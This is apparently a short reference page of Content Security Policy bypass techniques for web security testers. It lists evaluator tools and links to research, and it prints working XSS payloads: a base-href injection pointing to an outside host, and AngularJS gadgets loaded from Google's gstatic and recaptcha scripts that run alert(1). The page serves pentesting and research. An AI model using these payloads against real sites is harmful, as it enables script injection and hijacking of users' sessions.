CSP Bypass

CSP Evaluator

CSP Evaluator

CSP Bypass

CSP Bypass Search

Weak CSP Bypass

1'"--><Base Href=//X55.is?

Credits: @KN0X55

GitHub - renniepak/CSPBypassGitHub

CSP Bypass Search

CSP Bypass for gstatic

<𝚜𝚌𝚛𝚒𝚙𝚝 𝚜𝚛𝚌='//𝚠𝚠𝚠.𝚐𝚜𝚝𝚊𝚝𝚒𝚌.𝚌𝚘𝚖/𝚛𝚎𝚌𝚊𝚙𝚝𝚌𝚑𝚊/𝚊𝚋𝚘𝚞𝚝/𝚓𝚜/𝚖𝚊𝚒𝚗.𝚖𝚒𝚗.𝚓𝚜'></𝚜𝚌𝚛𝚒𝚙𝚝><𝚒𝚗𝚙𝚞𝚝 𝚒𝚍=𝚡 𝚗𝚐-𝚏𝚘𝚌𝚞𝚜=$𝚎𝚟𝚎𝚗𝚝.𝚌𝚘𝚖𝚙𝚘𝚜𝚎𝚍𝙿𝚊𝚝𝚑()|𝚘𝚛𝚍𝚎𝚛𝙱𝚢:'(𝚣=𝚊𝚕𝚎𝚛𝚝)(𝟷)'>

Nuclei Templates

CSP Bypass (DAST) - Nuclei Templates v10.1.5 🎉 — ProjectDiscovery Blog

Recaptcha Abuse

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

CSP bypass on PortSwigger.net using Google script resources - Johan CarlssonJohan Carlsson

Form Hijacking to bypass CSP

Using form hijacking to bypass CSPPortSwigger Research

Resources

Content Security Policy (CSP) Bypass | HackTricks